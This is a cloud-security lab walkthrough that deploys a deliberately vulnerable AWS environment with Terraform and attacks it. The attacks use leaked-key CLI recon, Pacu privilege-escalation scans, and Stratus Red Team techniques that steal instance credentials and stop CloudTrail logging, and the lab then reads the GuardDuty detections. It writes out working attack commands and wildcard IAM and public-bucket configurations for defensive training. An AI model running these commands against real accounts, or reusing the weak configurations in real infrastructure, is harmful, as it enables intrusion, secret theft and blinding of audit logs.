Get the Zoom link
Cloud Security Office Hours Banner

Break it, then catch it: a vulnerable AWS lab

Deploy a deliberately-weak AWS environment, attack it yourself three different ways, and watch GuardDuty react. A safe, self-contained purple-team loop in a throwaway account.

Jump to the build Back to Home Lab

·

Time: ~4 hours  ·  Difficulty: Intermediate  ·  Stack: AWS free tier · Terraform · AWS CLI · Pacu · GuardDuty · Stratus Red Team

Authorization and safety. This walkthrough deploys deliberately weak resources in a real AWS account and runs offensive tooling against them. Do it only in a dedicated throwaway lab account that already has the budget guardrails from the home-lab guide, and tear everything down the same day. Never point these tools at an account you do not fully own.

The single best way to understand a cloud attack is to build the vulnerable setup, exploit it yourself, and then watch the defenses react or fail to. This walkthrough deploys a small, deliberately-weak AWS environment with Terraform, walks three escalating attack paths against it (manual CLI recon, automated enumeration with Pacu, ATT&CK technique detonation with Stratus Red Team), and reads the GuardDuty findings that result. It ends with the question every detection engineer asks: what did the defenses miss? That question is the on-ramp to the CloudTrail-to-SIEM walkthrough.

On this page

  1. What you will build
  2. Prerequisites
  3. Step-by-step
  4. What did the defenses miss?
  5. Common mistakes
  6. Where next

What you will build

Prerequisites

Step-by-step

1. Turn on the sensors first

Enable detection before you attack, so every action is recorded from the start.

# GuardDuty: enable the detector (30-day free trial on a new account)
aws guardduty create-detector --enable --region us-east-1   # a "detector" is GuardDuty's per-region sensor; --enable turns it on
aws guardduty list-detectors                                # returns the detector id you just created - keep it handy

Now a CloudTrail trail delivering management events to S3. trail.tf:

# The S3 bucket CloudTrail will write its log files into.
resource "aws_s3_bucket" "trail" {
  bucket        = "ct-lab-${data.aws_caller_identity.me.account_id}"   # account id makes the name globally unique
  force_destroy = true                                                 # let `terraform destroy` delete it even when full of logs
}

data "aws_caller_identity" "me" {}   # a read-only lookup of the current account id (used above and below)

# CloudTrail is an AWS service, not you, so the bucket needs a policy that lets
# the service write to it. These two statements are the exact grants AWS documents.
resource "aws_s3_bucket_policy" "trail" {
  bucket = aws_s3_bucket.trail.id
  policy = jsonencode({
    Version = "2012-10-17",
    Statement = [
      # 1) Let CloudTrail read the bucket's ACL so it can verify ownership before writing.
      { Sid = "AclCheck", Effect = "Allow",
        Principal = { Service = "cloudtrail.amazonaws.com" },   # the principal is the service, not a user
        Action = "s3:GetBucketAcl", Resource = aws_s3_bucket.trail.arn },
      # 2) Let CloudTrail drop log objects under the AWSLogs/<account>/ prefix it uses.
      { Sid = "Write", Effect = "Allow",
        Principal = { Service = "cloudtrail.amazonaws.com" },
        Action = "s3:PutObject",
        Resource = "${aws_s3_bucket.trail.arn}/AWSLogs/${data.aws_caller_identity.me.account_id}/*",
        Condition = { StringEquals = { "s3:x-amz-acl" = "bucket-owner-full-control" } } }   # AWS requires this ACL on the write
    ]
  })
}

resource "aws_cloudtrail" "lab" {
  name                          = "lab-trail"
  s3_bucket_name                = aws_s3_bucket.trail.id   # deliver logs to the bucket above
  include_global_service_events = true                     # capture global services (IAM, STS) too, not just regional ones
  is_multi_region_trail         = true                     # record activity in every region, so attacks can't hide in an unused one
  depends_on                    = [aws_s3_bucket_policy.trail]   # the policy must exist first, or CloudTrail's first write is denied
}

2. Deploy the vulnerable stack

In vuln.tf, each resource is a real-world mistake you will recognize:

# A public bucket holding fake "loot" - the target an attacker exfiltrates.
resource "aws_s3_bucket" "loot" {
  bucket        = "exports-lab-${data.aws_caller_identity.me.account_id}"
  force_destroy = true
}
# Same trick as the LocalStack lab: disabling all four guards is what lets the
# public policy below actually expose the bucket.
resource "aws_s3_bucket_public_access_block" "loot" {
  bucket                  = aws_s3_bucket.loot.id
  block_public_acls       = false
  block_public_policy     = false
  ignore_public_acls      = false
  restrict_public_buckets = false
}
resource "aws_s3_bucket_policy" "loot" {
  bucket = aws_s3_bucket.loot.id
  policy = jsonencode({
    Version = "2012-10-17",
    # Principal "*" = anyone on the internet may GetObject every object in the bucket.
    Statement = [{ Effect = "Allow", Principal = "*",
      Action = "s3:GetObject", Resource = "${aws_s3_bucket.loot.arn}/*" }]
  })
}

# A secret hiding in SSM Parameter Store - the "collection" target for later.
resource "aws_ssm_parameter" "db_password" {
  name  = "/lab/db_password"
  type  = "SecureString"                 # SecureString = KMS-encrypted at rest; reading it needs --with-decryption
  value = "hunter2-not-a-real-secret"    # obviously fake - never put a real secret in code
}

# An over-permissive IAM user with a long-lived access key ("the leaked key").
resource "aws_iam_user" "legacy" { name = "legacy-app" }
resource "aws_iam_user_policy" "legacy" {
  name   = "too-much"
  user   = aws_iam_user.legacy.name
  policy = jsonencode({
    Version = "2012-10-17",
    # Full control over IAM, S3, and SSM - broad enough to enumerate, escalate, and exfiltrate.
    Statement = [{ Effect = "Allow", Action = ["iam:*","s3:*","ssm:*"], Resource = "*" }]
  })
}
resource "aws_iam_access_key" "legacy" { user = aws_iam_user.legacy.name }   # the static key you'll "leak" to yourself

# Terraform outputs surface the generated key so the attack steps can read it back.
output "leaked_access_key_id"     { value = aws_iam_access_key.legacy.id }
output "loot_bucket"              { value = aws_s3_bucket.loot.id }          # step 2 uploads here; without this output the upload silently goes nowhere
output "leaked_secret_access_key" {
  value     = aws_iam_access_key.legacy.secret
  sensitive = true                     # sensitive = hide it from normal CLI output
}
terraform init                    # download providers (run once per project)
terraform apply -auto-approve     # create the trail + vulnerable stack; -auto-approve skips the prompt
echo "top-secret export data" > loot.txt   # make a decoy file to plant in the public bucket
# Upload it. $(...) runs terraform output to fetch the real bucket name; if that fails,
# the || fallback uses a placeholder you'd edit by hand.
aws s3 cp loot.txt s3://$(terraform output -raw loot_bucket 2>/dev/null || echo exports-lab-CHANGEME)/

3. Attack path 1 - manual recon with the leaked key

Configure a profile with the leaked key (as if you found it in a public git repo), then walk the recon-to-collection chain:

# Load the leaked key into this shell's environment (as if you'd found it in a public repo).
export AWS_ACCESS_KEY_ID=$(terraform output -raw leaked_access_key_id)       # -raw = print the value with no quotes/formatting
export AWS_SECRET_ACCESS_KEY=$(terraform output -raw leaked_secret_access_key)
unset AWS_PROFILE   # make sure these env vars win, not some admin profile in ~/.aws/config

aws sts get-caller-identity                         # step 1, credential access: confirm which identity the key is
aws iam list-user-policies --user-name legacy-app   # step 2, discovery: what inline policies does it have?
aws iam get-user-policy --user-name legacy-app --policy-name too-much   # read the policy - it's the wildcard admin one

# step 3, collection: find and read the loot, then decrypt the SSM secret
aws s3 ls                                           # list buckets the key can see
aws s3 cp s3://exports-lab-<account-id>/loot.txt -   # trailing "-" streams the object to stdout instead of a file
aws ssm get-parameter --name /lab/db_password --with-decryption \   # --with-decryption returns the plaintext SecureString
  --query Parameter.Value --output text             # --query/--output text = print just the value, nothing else

Each command is one link in a real kill chain: credential access (the leaked key), discovery (enumerating what it can do), and collection (reading the bucket and the decrypted secret). This is exactly how the majority of cloud breaches begin. See the breach kill chains for the production versions.

4. Attack path 2 - automated enumeration with Pacu

pip install pacu
pacu                               # launches Pacu's own interactive shell (its own prompt, not bash)
# inside the Pacu shell:
#   import_keys --import-aws-cli   # pull the leaked creds from your AWS CLI config into Pacu (or set them manually)
#   run iam__enum_permissions      # enumerate every permission the key has
#   run iam__privesc_scan          # take those permissions and map concrete paths to admin
#   run s3__download_bucket        # bulk-download readable buckets - automated collection

Pacu is the AWS exploitation framework. iam__privesc_scan is the highlight: it takes the permissions you enumerated and tells you how to escalate to admin from them. It is the same reasoning an attacker (or a good IAM reviewer) applies to an over-permissive policy.

5. Attack path 3 - detonate ATT&CK techniques with Stratus Red Team

brew install stratus-red-team          # or grab a binary from the releases page
stratus list                            # browse the catalog; each entry maps to a MITRE ATT&CK technique

# detonate a few - each command spins up its own prerequisites, performs the technique,
# and generates the exact telemetry a real attacker would leave in CloudTrail
stratus detonate aws.credential-access.ec2-steal-instance-credentials   # steal an instance's role credentials
stratus detonate aws.defense-evasion.cloudtrail-stop                    # stop logging to blind the defender
stratus detonate aws.exfiltration.s3-backdoor-bucket-policy            # open a bucket to the world

stratus cleanup --all                   # ALWAYS run this - it deletes the instances/roles each technique created (they're billable)

Stratus Red Team is purpose-built to test detections: each technique maps to a MITRE ATT&CK ID and produces the exact telemetry a real attacker would. You are generating a labeled dataset of malicious activity in your own account.

6. Read the GuardDuty findings

# Grab the detector id into a shell variable so the next two commands can reuse it.
DETECTOR=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)   # --query pulls the first id out of the JSON
aws guardduty list-findings --detector-id "$DETECTOR"        # list finding IDs GuardDuty has raised
aws guardduty get-findings --detector-id "$DETECTOR" \       # fetch the full detail for one finding...
  --finding-ids <finding-id> --query 'Findings[0].{type:Type,severity:Severity}'   # ...and print just its type and severity

Expect findings such as Stealth:IAMUser/CloudTrailLoggingDisabled (from the Stratus cloudtrail-stop), UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS (from the credential-theft technique), and Policy:S3/BucketAnonymousAccessGranted (from your public bucket). Findings can take minutes to hours to surface; to see the shape of a finding immediately, generate samples with aws guardduty create-sample-findings --detector-id "$DETECTOR". Read each finding in full. Every one is a real attack pattern, annotated, in an environment you control.

What did the defenses miss?

GuardDuty is anomaly- and signature-based, so it will not flag everything you did. The quiet ssm:GetParameter read of the secret, the iam:PutUserPolicy self-escalation Pacu mapped, and the plain enumeration calls often raise no managed finding at all. That gap is not a failure of the lab but the reason detection engineers write their own logic against the raw audit trail. Take your list of "things GuardDuty missed" straight into the CloudTrail-to-SIEM walkthrough and build detections for them.

Tear it all down. The most important step. Run it before you close the laptop:

stratus cleanup --all             # remove anything Stratus created (do this first - Terraform doesn't know about it)
terraform destroy -auto-approve   # tear down the trail + vulnerable stack you built
# sanity-check the console: no running EC2, no public bucket, no stray access keys
# The || fallback prints a friendly message once the user (and its keys) is gone.
aws iam list-access-keys --user-name legacy-app 2>/dev/null || echo "user gone - good"

Common mistakes

Where next